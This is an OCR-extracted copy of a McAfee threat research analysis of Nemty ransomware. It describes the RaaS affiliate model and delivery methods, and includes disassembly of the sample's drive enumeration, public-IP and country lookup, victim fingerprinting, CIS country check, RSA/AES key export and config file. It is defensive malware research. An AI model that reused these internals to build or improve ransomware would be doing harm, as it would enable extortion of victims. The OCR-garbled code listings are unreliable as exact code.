Nemty Ransomware — Learning by Doing
v/

April 2, 2020

Executive Summary
The McAfee Advanced Threat Research Team (ATR) observed a new ransomware family named ‘Nemty’ on 20 August 2019.

We are in an era where ransomware developers face multiple struggles, from the great work done by the security community to protect against
their malware, to initiatives such as the No More Ransom project that offer some victims a way to decrypt their files. Not only that, but the
underground criminal community around such ransomware developers can also be hyper critical, calling out bad code and choosing not to
purchase ransomware that is not professionally developed.

After one such developer, going by the name jsworm, announced Nemty on underground forums, we noted how the ransomware was not well
received by some users in the criminal community. Certain sectors of that forum started to rebuke jsworm for technical decisions made about
the functions in the ransomware, as well as the encryption mechanism used.

Jsworm replied to all the comments, adding evidence about how the critical statements made were wrong and showcased the value of their
new versions. They also fixed some ugly bugs revealed by users in the forum:
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https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/
https://www.nomoreransom.org/
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Posted September 6

On 6/6/2019 at 11:20 AM, jsworm said:

alo !! 11! Can't you read?
here, I've allocated you, maybe you'll read it a second time, so at least you'll understand

What are you fooling about? About RSA, it's understandable, I'm talking about your “creating a separate unique initialization vector “, you are AES KEY which sews you in EXE, you
cover RSA, but what's the point of this? If you are KEY, what are you ciphering for with you?
I advise you to start reading the wikipedia chtoli so that you understand how it generally works and not immediately get into a sabotage of programming ...

+  Quote v

Posted September 6

On 6/6/2019 at 11:27 AM, kerberos said:

What are you fooling about? About RSA, it's understandable, I'm talking about your “creating a separate unique initialization vector ”, you are AES KEY which sews you in EXE,
you cover RSA, but what's the point of this? If you are KEY, what are you ciphering for with you?
I advise you to start reading the wikipedia chtoli so that you understand how it generally works and not immediately get into a sabotage of programming ...

the key is also unique, a unique key is generated for each system. there is nothing static in the build except a master key

+ Quote [+]

One of the users in the forum highlighted a function for how Nemty detects extension dupes in a system, which needed to be re-written by the

author:

& forum.exploitin/topic/161581/

240 && ?sub_4087FDB((int)&WideCharStr, "exe™) ‘
241 && tsub_A407FDB((int)&WideCharStr, "EXE™)

242 && fsub 4O7FDB((int)&YWideCharsStr, "ini")

243 && tsub_4087FDB((int)&WideCharStr, "INI™)

24y && ftsub_407FDB{(int)&WideCharstr, “d11")

245 && ?tsub_4087FDB((int)&WideCharStr, "DLL™)

246 && tsub_A407FDB({(int)&WideCharStr, "1nk™)

247 && fsub_4B7FDB((int)&WideCharStr, "LHNK™)

248 && ftsub 4O7FDB((int)&YWideCharsStr, "url"™)

249 && tsub 407FDB((int)&WideCharStr, "URL")

258 && tsub 4O7FDB((int)&WideCharStr, “ttf")

251 && tsub_4B7FDB((int)&WideCharStr, "TTF")

252 && ?sub_4O7FDB((int)&u35, "DECRYPT.txt") )

253 {

254 sub_48736A(&1lpFileName);

255 sub_406CF7(*(LPCUSTR =)&u20, v21, v22, v23, v2h4, v25);

Tweet: https://twitter.com/VK_Intel/status/1165352844876222464

This is when you write the native code)

this is when you can not even in cycles and in the reduction to lower / upper case and deploy the affiliate program

Edited August 25 by mousekevin

Despite the shortcomings in their ransomware, the Nemty developers are still in the underground forum, releasing new samples and infecting
users through their affiliate program.

Telemetry

Based on our telemetry, we have seen Nemty activity in these locations:
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FIGURE 1. Telemetry Map

Nemty Technical Analysis

Nemty runs on a Ransomware-as-a-Service (RaaS) model. We’'ve observed it being delivered using:

* RIG Exploit Kit in September 2019

« Paypal dummy sites

« RDP attacks through affiliates in their campaigns

« Botnet: Distributed through Phorpiex botnet in November 2019
o Loader: SmokeBot

jSWOI’m Posted: August 20
gigabyte
PP We offer you to join the NEMTY affiliate program.

The cryptoclocker itself is in C ++ using Win32API.
J Support for Windows XP (no flashing to the panel).
The weight of a clean, uncovered build is 87kb.

Paid registration For a contact in the LAN, indicating the amount of traffic and where it comes from.

FIGURE 2. Nemty ransomware announcement

In the release announcement the Nemty developers offered two types of collaboration: affiliation or private partnership. We found two aliases
advertising Nemty, one of which is jsworm, who is quite active in the forums and announces all the news and updates there.

This is the timeline of the operations performed by the Nemty crew:
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Announcement Botnet

in a Russian RIG Exploit Kit distribution -
forum distribution Phorpiex
RDP attacks Paypal dummy Leaked website
sites released
distribution

We observed how the Nemty developers adopted some characteristics from other old ransomware families like the defunct Gandcrab. One
example of this is the reuse and reference to a URL that leads to an image featuring Russian text and a picture of the Russian president, like
Gandcrab had in its code.

BOHO657 os push eoi W DndwwaRM0aY-tLU.jpg:larg X

[ouBsS7A 68 BCLL4B00 push <aPay> = = . i i ¥ i
BO4B657F| 68 28204000  |push  <MemtyGloballarToSavePointerToOnionDecodedString> € C' | & https:/ipbs twimg,com/media/DnavwaR WOAY- UL jpglarge
00406584 83EC 1C sub esp, 1C

8985 ASFAFFFF |mou [ebp-558], eax

BA4B658D 8BCH mov eax, esp

BBuBGSBF 68 Ca4hupea push <aZ7uBlaySlik3dej>

08406594 EB 718C0008 call <NemtyCheckSizeStringAndCopyStringInBufferAndReturnPointerToltFuncti

88486599 8D85 64FBFFFF |lea eax, [ebp-49C]

084 8659F 58 push eax

00406500 EB8 OF490000 call <NemtyDecodeStringFromBaseé4AndDecryptStringAfterWithRC4Function>

B04B65A5 83cy4 20 add esp, 20

B04B65AE BF E8444000 mou edi, G04044ES

Be4BGSAD 57 push edi

BBuBGSAE B3EC 1C sub esp, 1C

BeuB65B1 8985 OLFAFFFF |mov [ebp-56C], eax

88486587 8BCY nov eax, esp

88486589 68 FB44hB08 push <aZ7vilayBrugkke>

004065BE| EB 470C0000 call <NemtyCheckSizeStringAndCopyStringInBufferAndReturnPointerToltFuncti|

00486502 8D8S 9CFBFFFF |lea eax, [ebp-héh]

eax=0012FABA
Stack ss:[B012F97C]=00B629B8, (ASCII “https://pbs.twimg.con/mediasDn4vwaRWBAY-tlu.jpg:large :D)

BeBB2778
BOBO27BE | ..
BOBO27FE| ..
BOBO2838 | ..
BOBO2878
BOBB2BBE
BOBB2BFE IRGqINGFING[ ING(IND
B0BB2038 WGy i) ecCeteceeceetec «

60BE2978 | H.N_>EE._5d5ch664cfB838eBaB0Bd B25b2 .82 | 82 eccccccecercceee
0OB629B8 | https://pbs.twing.con/medias/DnivwaRWeAY-tlu. jpg:large
BB B2 9F 8 | comoueaatsate « a a v o e = 2.1.PpHR P P2
BOBB2A3E
BOBO2A7E
BOBO2ABE
BOBB2AFE
B0BB2B3E

FIGURE 3. Hardcoded URL inside the Nemty ransomware pointing to the same image as GandCrab

The Nemty authors released different versions of their ransomware. In this research article we will highlight how the first version works and the
significant changes added in subsequent versions.

Hash: 505c0ca5ad0552cce9e047¢c27120c681ddce127d13afa8a8ad96761b2487191b
Compile Time: 2019-08-20 19:13:54
Version: 1.0

The malware sample is a 32-bit binary. The packer and malware are written in the C/C++ language as the author announced on the
underground forum.

The compilation date in the PE header is the 20th of August 2019.
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FIGURE 4. EXEInfo Image

Iz

b TS

[ File : ]|37aahach18c9c1hE150das4F1d31297d i
Entry Paint : [0000D94D Joo| [=] ERSection :x i
File Offset : [0000CD4D First Bytes : EB aD.1C.00, otg )

Linker Info ¢ |10.00

Image is 32bit executable

SubSvster:'a Wlndows GUI 2
FleSize: [oooiscaoh | (=] [] Overlay: {‘\NO 00000000

RES/O¥L: 0 .IJ% 2019 @ f' ok

|*** Unknown EXE Self Wike code | unknown protectlon ,I’SeIF Write | .

Lamer

Info - Help Hint - Unpack info

|Run Advanced Scan (plugind or try other Detector - http ,l’,l'pld gameco;l
{ ¥

Nemty uses RunPE in execution, meaning it unpacks in memory before execution.

Analyzing the sample, we could find how the developer added certain protections to their code, such as:

» Decrypting certain information in the memory only if the encryption process is working as planned
¢ Clearing the memory after finishing some operations
« Information sharing between different memory addresses, cleaning the previous memory space used

Ransomware Note Creation Process

In order to create the ransomware note, Nemty takes each string and saves it into memory. When the ransomware compiles all the required
strings it will join them together to create the entire ransomware note. In this operation, Nemty will decrypt line by line, moving the data to
another memory address and cleaning the previous one to leave the information only in the new memory space.

For the first version of Nemty, the encryption method was not applied consistently to all the strings, which is why it is possible to see some
strings and spot part of the functionalities or juicy files from them.

ascii 7
ascil 2
asci o
ascii 56
unicode 66
ascil 1856
ascii i
ascil 2
ascil 2
ascii 15
ascii 19
ascil 19
ascii 23
ascii 11

FIGURE 5. Clear strings in Nemty

0x0000485C
0x00004978
000004938
0x0000449C
0x000049EB
0:00003F20
000000688
0x000006A8
0:000006C8
0:000006E8
0x00001238
000001254
0:00001468
000003784

Nemty and the Logical Units

utility T1059
utility

url-pattern
url-pattern

url-pattern

rtti
file

cmd.exe
GET /public/gateldata=

st.torproject.org/torbrowser/§.5.4/tor-win32-04.0.5.zip

fyPveoxgValviWI0OY21090Mq287NIIif/RoIDPERIuSI0uvdgUlmpg CTVGWzrqiSBhQSEID2...

JAVlogic error@std@@
TAViength error@std@@
2AVout of range@std@@
Vtype info@@
Vexception@std@@
Vbad alloc@std@@
JAVbad exception@std @@
DECRYPT.tt

In execution, Nemty will check all the logical units available in the system, saving the information about them in a static list with the following

information:

o Type of unit

« Available free space

Through the use of the Windows API, ‘GetDriveTypeA’, the ransomware will differentiate units between:

« Removable
o Fixed
o Network
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CODE XREF: HemtyGetAlllLogicUnitsAndGetTypesTargetAndSaveTr
1pRootPathName

NemtyCheckIfPointerandPrepareiemoryToBeReleasedWith15Function

char =

NemtyHanageStringsWithSizeCheckAndCopyHemoryFunction

edi, offset HemtyGlobalUarToKeepUnitLettersStrings
NemtyHanageListForLaterUsingUectorsFunction

; "REMOUABLE"

NemtyCheckSizeStringAndCopyStringInBufferAndReturnPointerToltFunction

edi, offset HemtyGlobalUarToKeepDiskTypesStrings

.text:80408BE6 mov eax, esi

.text:-08408 BES

.text:BO4O8BES8 get drive_type: H
.text:-004080ES push eax H
.text:-A84A8BED call GetDriveTypen

-text:-a04038 BEF push 1

.text:-AA4A86BF1 xor edi, edi

.text:-A84088F 3 lea esi, [esp+74h+1pRootPathMame]
.text:-A84A86F7 mov [esp+74h+var_68], eax
.text:-08408 BFB call

.text:-a0408108 cmp [esp+7Bh+var_68], 2
.text:00408105 jnz short _check_type fixed
-text-ao408107 push ebx H
-text:-a0403108 call _strlen

.text:-a04031a8D pop BCX

.text:0040818E moy edi, eax

.text:-aa488118 push ebx

-text:-aa4e8111 lea eax, [esp+74h+1pDirectoryName]
-text:-00488115 call

.text:-a8488110 lea eax, [esp+7Bh+1pDirectoryHame]
.text:-a848811E mov

.text:-08488123 call

.text:-00408128 push offset aRemovable
.text:-a848812D lea eax, [esp+74h+1pRootPathHame]
.text:-a8488131 call

-text:-a0408136 lea eax, [esp+7@h+1pRootPathHame]
-text:-0048813A nov

-text:-004L8813F call

FIGURE 6. Checking the type of logic units

HemtyManagelListForLaterUsingUectorsFunction

To check the free space available in the system, Nemty will use “GetDiskFreeSpaceExA”, again through the Windows API:

.text:00408202

.text:00u08202 qget free_disk _space:
.text:a04082 082 push a
.text:004882 84 lea

; CODE XREF: NemtyGetAllLogicUnitsAndGetTypesT
; 1pTotalHumberDfFreeBytes

ecx, [esp+74h+TotalHumberOfBytes]

.text:08408208 push ecx ; lpTotalHumberDfBytes
.text:00408209 lea ecx, [esp+78h+FreeBytesAvailableToCaller]
.text:a04082 8D push ecy ; 1pFreeBytesfvailableToCaller
-text: 004082 68E push eax ; lpDirectoryName
.text:0040820F call GetDiskFreeSpaceExA

.text:a8408215 moy eax, dword ptr [esp+7Bh+TotalHumber0OfBytes]
.text:a0408219 mouy ecy, dword ptr [esp+7Bh+TotalHumberOfBytes+4]
.text:a848821D shrd eax, ecx, 1Eh

text:o8408221 mov [esp+7Bh+var_60], eax

.text: 00408225 lea eax, [esp+7Bh+var_68]

.text:00408229 mou esi, offset dword_4143A8

FIGURE 7. Checking free disk space

Extracting Public IP Address from the Victim

Since the first version, Nemty has implemented a functionality to extract the public IP address of the victim. The information is extracted

the victim was infected.

GET / HTTP/1.1
User-Agent: Chrome
Host: api.ipify.org
Cache-Control: no-cache

HTTP/1.1 20@ 0K

Server: Cowboy
Connection: keep-alive
Content-Type: text/plain
Vary: Origin

Date: Tue, 19 Nov 2019 18:24:21 GMT

Content-Length: 12
Via: 1.1 vegur

FIGURE 8. Nemty getting the public IP

The User-agent for some of the Nemty versions was the ‘Chrome’ string. The user-agent is hardcoded as a single string in the ransomware

instead of using an original user-agent.
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http://api.ipify.org/

-text:084886D6

.text:a04B86D6 push
.text:9804886D7 mnov
text: 00408609 sub
.text:a84886DC moy
.text:-a84B86E1 Lor
.text:904886E3 mnov
.text:004086EG push
.text:a04886E7 push
.text:a04B86ES Lor
-text:a04B86ER push
.text:004086ER push
.text:a04886EC push
.text:a04B86ED push
-text:a04886EE push
text:004086F3 call
.text:a04886F9 sub
.text:-a04B86FC moy
.text:B804886FF mnov
text:o04087 01 push
.text: 00488706 call
.text:a04B87 8B lea
-text:a04887BE push
text: 004087 6F call

ebp

ebp, esp

esp, GCh

eax, _ security_cookie

eax, ebp

[ebp+var_4], eax

esi

edi

esi, esi

esi ; duFlags

esi ; int

esi ; cchString

esi ; int

offset szAgent ; “Chrome™

InternetOpenn

esp, 1Ch

[ebp+hInternet], eax

eax, esp

offset NemtyGlobalVarDomainToCheckTheCountry ; http://api.ipify.org |
NemtyCheckSizeStringAndCopyStringInBufferandReturnPointerToltFunction
eax, [ebp+uvar_68]

eax ; int
NemtyDecodeStringFromBase64nndDecryptStringAfterWithRCA4Function

FIGURE 9. Getting the IP address of the victim machine

The IPIFY service is used to retrieve the public IP address of the victim and, with the extracted data, Nemty makes another connection to

http://api.db-api.com/v2/free/countryName

using the data previously obtained as an argument. The extracted IP address and country data is

used later used as a part of the ransomware note creation.

-text: 88488786 var_A1C = dword ptr -1Ch

.text:00408786 Buffer = byte ptr -1i4h

.text: 00408786 var_4 = dword ptr -4

.text: 00408786

.text:0808408786 push ebp

.text: 00408787 mov ebp, esp

.text:a04088789 sub esp, 8Ch

.text:0040878F mov eax, _ security cookie

.text:aeuBa8794 xor eax, ebp

.text: 00408796 mov [ebp+var_L4], eax

.text: 00408799 push esi

_text:-0040879n push edi

.text:a048879B xor eax, eax

.text:0040879D push eax ; dwFlags

.text:0040879E push eax ; int

.text:0048879F push eax ; int

.text:004887A0 push eax ; cchstring

-text:0604087A1 push offset szAgent ; “Chrome"

.text:004087A6 call InternetOpenA

-text:O04B87AC sub esp, 1Ch

-text:004087AF mov [ebp+hInternet], eax

.text:a04887B5 mov eax, esp

.text:004087B7 push offset HemtyGlobalVarEncodedAndCryptedString0fTheStringToGetTheVictimCountry ; fcountryName
.text:004087BC call NemtyCheckSizeStringAndCopyStringInBufferAndReturnPointerToltFunction
.text:0604087C1 lea eax, [ebp+pszString]

.text:004087C7 push eax 5 pszString

.text:004087C8 call HemtyDecodeStringFromBase6idAndDecryptStringAfterWithRCUFunction
.text:ao4887CD add esp, 28h

.text:004087D8 push offset HemtyGlobalVarToKeepTheVictimMachineIP

.text:ao4887D5 sub esp, 1Ch

.text:004087D8 mov esi, eax

.text:ao4887DA mov eax, esp

.text:@884887DC push offset NemtyGlobalVarDomainToCheckTheCountryFromIP ; http://api.db-ip.com/v2/free/

FIGURE 10. Getting the country name strings based on the IP address

Victim Information Extraction

Nemty will extract the following information from the victim:

« Username

Using the windows API GetUserNameA

o Computer name

Using the windows AP| GetComputerNameA

» Hardware profile

Using the windows API GetCurrentHwProfileA

With this data, the authors ensure that the infected victim is unique, which helps the RaaS operators quantify how many victims they were able

to infect themselves or through the use of affiliates.
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.text:08408A32 lea

.text:08408A38 push
.text:08488A39 lea
text:a8408A3F nov
.text:oB408BALY push
.text:A84A8ALS nov
.text:08408A4B call
text:aB4a8A51 lea
.text:O8408A57 push
.text:08408A58 call
-text:a8408A5D pop
text:A88408ASE lea
.text:O0408BAGY noy
.text:08408A69 call
.text:88488AGE lea
text:00408A7Y push
.text:08408A7S lea
.text:084A8A7E push
.text:08488A7C noy
text: 0840882 call
.text:0B408A8E lea
.text:A84A8ABE push
.text:08408ABF call
text:o0408A9Y pop
.text:O8408A95 lea
.text:08408A9B nov
.text:08488AA0 call
text:O0408AAS call
.text:oB4a8AAN lea
.text:A8408BABD push
.text:08408AB1 call

eax, [ebp+pcbBuffer]

eax ; pcbBuffer
eax, [ebp+Buffer]

edi, 188h

eax 5 lpBuffer
[ebp+pcbhBuffer], edi
GetlUserHamef

eax, [ebp+Buffer]

eax ; char =
_strlen

ecx

ecx, [ebp+Buffer] ; void =

esi, offset NemtyGlobalUarToKeepThelictimMachineUserName
NemtyHanageStringsAndCopyHemoryFunction

eax, [ebp+pchBuffer]

eax ; nSize
eax, [ebp+Buffer]

eax ; lpBuffer
[ebp+pcbBuffer], edi
GetComputerHamefn

eax, [ebp+Buffer]

eax ; char =
_strlen

[

ecx, [ebp+Buffer] ; void =

esi, offset NemtyGlobalUarToKeepThelictimMachineComputerName
NemtyHanageStringsAndCopyMemoryFunction
NemtyCGheckWindows0SVersionFunction

eax, [ebp+HwPFrofilelnfo]

eax ; 1pHuProfilelnfo

GetCurrentHuwProfilen

FIGURE 11. Get Username, Computer Name and Hardware Profile from the victim machine

Nemty 1.0, Wrongly Applying the Country Protection

Raa$S families usually apply some protections to prevent infecting certain geographic regions. In the first version, Nemty still had this feature in
development as our analysis showed that the ransomware did not check whether the victim belonged to any of the supposed blacklisted
countries. During our analysis of ransomware it is quite usual to find functions that are still in development and are then incorporated in future

versions.

If the detected country is in the blacklist, Nemty returns the string “true” and keeps it in the config. If the country is not found, the value of the

field will be false.

Belarus
Kazakhstan
Russia
Tajikistan
Ukraine
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.text:-A040895E push

.text:-A8408963 mov
.text:-A84A8965 call
-text:-0040896A pop
.text:-0040896B test
.text:0040896D jnz
.text:-A840896F push
.text:-08488974 mov
.text:-A0408976 call
.text:-A840897B pop
.text:-A84A897C test
.text:0040897E jnz
.text:-004089808 push
.text:-A84A8985 mov
.text:-A84A8987 call
-text:-a040893C pop
.text:-0040898D test
.text:0040898F jnz
.text:-a8488991 push
.text:-08488996 mov
.text:-00403998 call
.text:-a848899D pop
.text:-A84A899E test
.text:004089A0 jnz
.text:-004089A2 push
.text:-a84089A7 mov
.text:-a84089A90 call
-text:-a04089AE pop
.text:-004089AF mov
.text:-A04089BY test
.text:004089B6 jz

.text:-084089B8
.text:0O4089B8 return_true string:
.text:004089B8
.text:-0A4A80B8 mov

Fre k- AALAGARR

offset aRussia ; "Russia™

eax, esi
NemtyCheckStringSizeAndCompareStringsSensitiveFunction
BCXE

al, al

short _return_true_string

offset aBelarus ; "Belarus"

eax, esi
NemtyCheckStringSizeAndCompareStringsSensitiveFunction
ecx

al, al

short _return_true_string

offset akazakhstan ; "Kazakhstan®™

eax, esi
NemtyCheckStringSizeAndCompareStringsSensitiveFunction
BCXE

al, al

short _return_true_string

offset aTajikistan ; "Tajikistan"

eax, esi
NemtyCheckStringSizeAndCompareStringsSensitiveFunction
ecx

al, al

short _return_true_string

offset allkraine ; “Ukraine®

eax, esi
NemtyCheckStringSizeAndCompareStringsSensitiveFunction
BCXE

esi, offset aFalse ; return false string

al, al

short _check_string_size_and_exit

; CODE XREF: NHemtyCheckIfTheUictimCountryIsOneOfThe
; HemtyCheckIfTheVictimCountryIsOne0fTheCountriesBl
esi, offset aTrue ; "true”

FIGURE 12. Check the country name and return true or false string

Nemty Encryption Keys

Immediately after making this check, Nemty will decode, from base64, the value of the master key and keep it in a memory address to use

later. In parallel, it will prepare a random string with a fixed size of 7 characters and use it with the string “_ NEMTY_"” to create the ransomware

note with the specific extension used in the encrypted files. Nemty will create a pair of RSA keys, one public and one private, in this process.

text:a84890A2 push
-text:084000A8 call
.text:-a04B28AA test
.text:004090AC jz

text:a8489 BAE push
-text:0040906B1 call
.text:a04B96B4 pop
.text:980408906B7 mnov
text:a84090EA cmp
.text:904090BC jz

.text:a8489BBE lea
-text:a848906C1 push
text:a84890C2 push
.text:-a04890C3 push
.text:a048908CH push
-text:a04090C6 push
text:a84890C7 push
-text:o84890CD call
.text:a84B98CF test
.text:8840908D1 jz

-text:084890D03 lea
.text:a048208DG push
.text:a04B98D7 push
-text:a04090D8 push
text:a848908D9 push
.text:a048908DE push
.text:a04898DC push
.text:B8040898E2 call
-text:984890E, test
.text:P04090EG jz

.text:a04B9BEC push

.text:80408968EF call

FIGURE 13. Export public RSA and private keys

hKey ; hKey
ebx ; CryptExportKey
eax, eax

short _exit malware
[ebp+pduDatalen] ; size t
_malloc

ecx

[ebp+var_18], eax

eax, edi

short _exit _malware

ecx, [ebp+pdwDatalen]

BCX ; pdwDatalen

eax ; pbData

edi ; duFlags

7 ; duBlobType - RSA Private Blob
edi ; hExpKey

hKey ; hKey

ebx ; CryptExportKey

eax, eax

short _exit malware
eax, [ebp+cbBinary]

eax ; pdwDatalen

edi ; pbData

edi ; duFlags

6 ; duBlobType - RSA Public Blob
edi ; hExpKey

hKey ; hKey

ebx ; CryptExportKey

eax, eax

_exit_malware
[ebp+cbBinary] ; size_t
_malloc

Within this operation, Nemty will encode those keys in base64:
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-text:-00LA217A
-text:-00408917D
-text:00408917E
-text:-0048917F
-text:-00L09181
-text-00489184
-text:-oo4089187
-text:-0048918A
-text:-004L8918C
-text:-0040918E
-text-004089194
-text:-oe489197
-text:-004L8910C
-text:-084089190D
-text:0048919F
-text:-004891A2
-text:-0040891A3
-text-a84891A4
-text:0040891A6
-text:-0040891A9
-text:-08Lu891AC
-text:0840891AF
-text:004091B1
-text:-004891B3
-text:-004891B9
-text:-004891BA

FIGURE 14. Encode of RSA keys generated

lea eax, [ebp+pcchString]

push eax ; pcchstring
push edi ; pszString
push 1 ; dwFlags
push [ebp+pduDatalen] ; chBinary
mou [ebp+pcchString], edi

push [ebp+var_18] ; pbBinary
call ebx ; CryptBinaryToStringn
test eax, eax

jz _exit_malware

push [ebp+pcchString]

call unknown_libname_3 ; Microsoft UisualC 2-11/net runtime
pop BCx

mov esi, eax

lea eax, [ebp+pcchString]

push eax ; pcchString
push esi ; psz2String
push 1 ; dwFlags
push [ebp+pdwDatalen] ; cbBinary
mov [ebptuar_18], esi

push [ebp+uvar_18] ; pbBinary
call ebx ; CryptBinaryTosStringn
test eax, eax

jz _exit_malware

push esi ; char =
call _strlen

After this encoding, Nemty will decode again the victim RSA public key and import it for later use.

-text:0084089248 push
-text:B88489240 push
-text:00469258 push
-text: 00409251 call
-text: 00489253 test
.text:00489255 jz

-text: 00489257 cmp
.text:0048925D jnz
-text:00408925F mou
-text:B808489265 push
-text 00409266 push
-text: 00489268 push
-text:00848926D push
-text:0040B926E mou
-text: 00409273 push
-text: 00409274 call
-text: 004089276 test
.text:00409278 jnz
-text:0040927A push
-text: 00489270 push
-text:00848927E push
-text:0A8489283 push
-text: 00469284 push
-text: 00409285 call
-text:004089287 test
.text:00409289 jz

.text:084068928B
.text:0048928B import_key:
.text:00840928B

.text:00840928B push
-text:00469298 push
-text:008489291 push
-text:008489292 push
-text:808489295 push
-text:00409298 push
-text:0040929E call

1 ; dwFlags
cchString ; cchString
eax ; pszString
edi ; CryptStringToBinaryn
eax, eax

short _exit _malware
hProv, esi

short _import_key

edi, CryptAcquireContextn

esi ; duFlags

1 ; duwProuType

offset szProvider ; "Microsoft Enhanced CGryptographic Provid”...
esi ; szContainer

ebx, offset hProv

ebx 5 phProv

edi ; CGryptAcquireContextn

eax, eax

short _import_key

8 ; dwFlags

1 ; duProuType

offset szProvider ; “"Microsoft Enhanced Cryptographic Provid'™. ..
esi ; szContainer

ebx 5 phProv

edi ; CGryptAcquireContextn

eax, eax

short _exit _malware

CODE XREF: NemtyDecodePublicRSAVictimKeyAndImportItFunction+83Tj
MemtyDecodePublicRSAVictimKeyAndImportItFunction+9ET]

offset hKey ; phKey

esi ; duFlags

esi ; hPubKey
[ebp+pcbBinary] ; dwDatalLen
[ebp+pbBinary] ; pbData

hProv ; hProw
CryptImportKey |

FIGURE 15. Decoding of the RSA public key for later use

The same operation is again used but this time with the master RSA public key from the ransomware developers.

Nemty Encryption Keys

In the encryption process, with all the data collected from the user, Nemty will create their config file, all in memory. The config file is a JSON

structured file with all the collected data and the AES key previously created. Regarding the key used, it is the same for all of the files, however

Nemty uses a different IV for each file.

Nemty Configuration File:

An example of the information collected by Nemty and later used in the config file can be found below:
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Machine

Pairing keys

Affiliate ID

Nemty version

CIS country information
0S system

Victim IP

Country

Free space

Used space

This is an example Nemty configuration file:

"General":{
"IP":
"Country’
"ComputerN
"Username" :
"0S":"Windows 10",

{a4badfce-d56f-11e2-a@8d-804d6183976e}",
_NEMTY_cs8yEVX_",
5d5c4664cf838edag0de25b2",
:"SfofBOYm4SgWIcPIDoH6UerMpZfoxS87",
BwIAAACKAABSUOEYAAQAAAEAAQDVB2A@omHINSy8vr+0fS78HFxfzcTDC51cWVZ+UVIFTVKFhPx3zpbwtIzFyjtN1Q1Iulj9uOMIWGINw+7TTaildg/
S6j cUEHg57n6bbA2IV2pM1BqR1ZBWHO/Kt jNdi55wTusy9U2mxLT52t j BBdPaHzXswWCb7G+xICw]FXFgKseCqnwhel2iMdLh LARML6mvPobI f44UGd] fdMLgAYBXgiyaV3oIaC4pNR88TUDs
3tYMN+hmVCyotNRIBGQU riw2diW54j9CDj 7Ppa9e80+wIt09B+aR8bP/
aKGepnzRKaj +NyhurMY10mhiGtxACoZ1CA4yBEKW1IFuspNU3@LbTOG81xqUaRkI8VIT7CCvz9gV5pTfQAstEREZ5GIKS5poxgNCErbUNKU+26h+5g THyVTY LrXZkFFXaEF++MpQiyyIC4PsRpE
/Z/b@EZNZtVBpIeInQ0OB4WQ9PgbaksAlrxo5LQ8x FWYV99SStIXQSzRCNG2172qCy9yFDgnloWH1/qbcSKrFd4dkScmGgqtUCdgBEUDZFaowdZIp6/pop5U9wTK7 umArPQPXXhWgFBg fwE27s
Poy+eyTivBbWCiTCu3DrzIJt/cRRWZ]j TqkBTcK2RWgQo08hvRX15@/by9dw/3vU7kSNW1CORTErm1IzXNutpIgz@+TRfxeQRnf78jF3420DDKigmjxhX6egbyUHh9Drq6pH1YIODWKSyvGjIVg50
siTF9UR@H5ABv+xLIRrFqgmaghOmDoubmzqex9ELY2CHEGZXI9WL julKLTWdAsdbD4RqglLexXg@7YcdYhg4BqHSmvet5LSEI1iInb8/4VOPQ8+G6 ] fKaeN/
z060255D1Z4Tf63ave01cmxRPPb4VTFv9]jStUs3NpDwHaIT3QDUT9cq00gkIbPIsAVWhiSSilm/ rEBNMIZhXTQcaZUwlIGMiJIRNBT/

GnV8JIPPABSWKczncqS7vSxcDW19LHMMXMsh119810BNg+0ejdwae f35FPKHC/PYJ41gc LoEQ6+8L5+04eEz f5Vcu9FWbg9R 1pj EQOex 1UE lw9xk685 riNGDIEEfLB6SISniB3FeFjz51/

wThsHPJ2fYrnjmmYMpOKeI3TvzUtS4b1BamCBP6zPsTbGrTx39n7ayPconRRc1r3H5sChf/2ZdPBu7ZoBIe9CLI@sMSAESAhTGx/SABEAIfUU46WrWio996gLUr6do7RIM@WCFNm] rZs/ed+2
inQIb+2cLQFMsBqulRuS8AJEODIVTOpps45kwl2vlSzxmTesclWItqf1L9IqQFWZeX3mjgMs3u3ifXru6rngxBromfP3/11tgorCHeketil+9/TNOOINTq6j tsPEde7MbheBtNkaw57IMcmtQay
NQLurvJOmUnQmpI5B/eJeHWa/T31i113L1inEHiGA37bCTIVXjputSjhbnNweT/

jQrLLcg89p0qCMkIDieQl2mwBrB28kcdonZy7bFyDTimVvOysmUlVISgDWRUS7ulqZdF 1s7cOXbWIbKIWUF9/@kRIgfcIlo="

"TotalSize
"UsedSize"

FIGURE 16. Nemty config file

The different fields for the configuration file are:
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The configuration file will be saved on the disk encrypted with a RSA public key of 8192 bits and encoded in base64.

-text:-BBLAOFBS
-text:-004B9FB8
-text:00489FBE
-text:-004B9FCY
-text:-8BLAOFCS
-text:-00489FCB
-text:00489FCC
-text:-004A89FCD
-text:-8BLA9FCF
-text:-08489FDA
-text:00489FD6
-text:-004A9FD8
-text:-8BLAOFDA
-text:-88489FDC
-text:00489FE2
-text:-00LAOFESR
-text:-BBLAOFEY?
-text:-004B9FEA
-text:00489FEC
-text:-004A9FF2
-text:-BBLAOFF8
-text:-0B4B9FF?
-text:00489FFF
-text:oouBA061
-text:-8848ABA3
-text:-0848ABA5
-text:0048A00B
-text:-oouBAB1A
-text:-00408A011
-text:-eeuBAB17
-text:-0048A018
-text:-oouBAB19
-text:-884BAB1B
-text:00408A021
-text:-oe48A027
-text:-oo4B8AB2D
-text:BBLBABZE

P

Country
Computer name
Username

0s

IsRU

Version
ComplD
FilelD
UserlD
key
pr_key

Disks

_encrypt_data_1:

push
lea
push
lea
push
push
push
push
push
call
test
jz
mov
lea
push
push
push
push
lea
push
mov
call
test
jz
push
call
pop
lea
push
push
push
push
mov
lea
push
call

[ebp+pdwDatalen] ; dwBuflLen
eax, [ebp+var_418]

eax 5 pduDatalen
eax, [ebp+pbData]

eax ; pbData
esi ; duFlags

1 ; Final

esi ; hHash
phKey ; hKey

edi ; CryptEncrypt

eax, eax

External IP for the victim

Value extracted in combination with the public IP
Computer name of the victim

Username logged in the system

Operating system name

True or false, depending on whether the machine is
in the blacklisted countries list

Nemty version

Hardware ID to identify the user unequivocally
The random string identifier

The affiliate ID

The AES key that will be used to encrypt the files
A key encoded in base64 block with the private RSA

key of the victim

Information regarding the logical units found

; CODE XREF: HemtyCryptConfigFileAndEncodeltInBa

short _exit_malware
edi, CryptBinaryToStringn
eax, [ebp+pcchString]

eax
esi
1

[ebp+pduwDatalen] ; cbBinary

; pcchString
pszString

; dwFlags

eax, [ebp+pbData]

eax

; pbBinary

[ebp+pcchString], esi

edi ; CryptBinaryTostringn
eax

eax,

short _exit_malware
[ebp+pcchString]

unknown_libname_3 ; Microsoft VisualC 2-11/net runtime

ecx

ecx, [ebp+pcchString]

ecx
eax
1

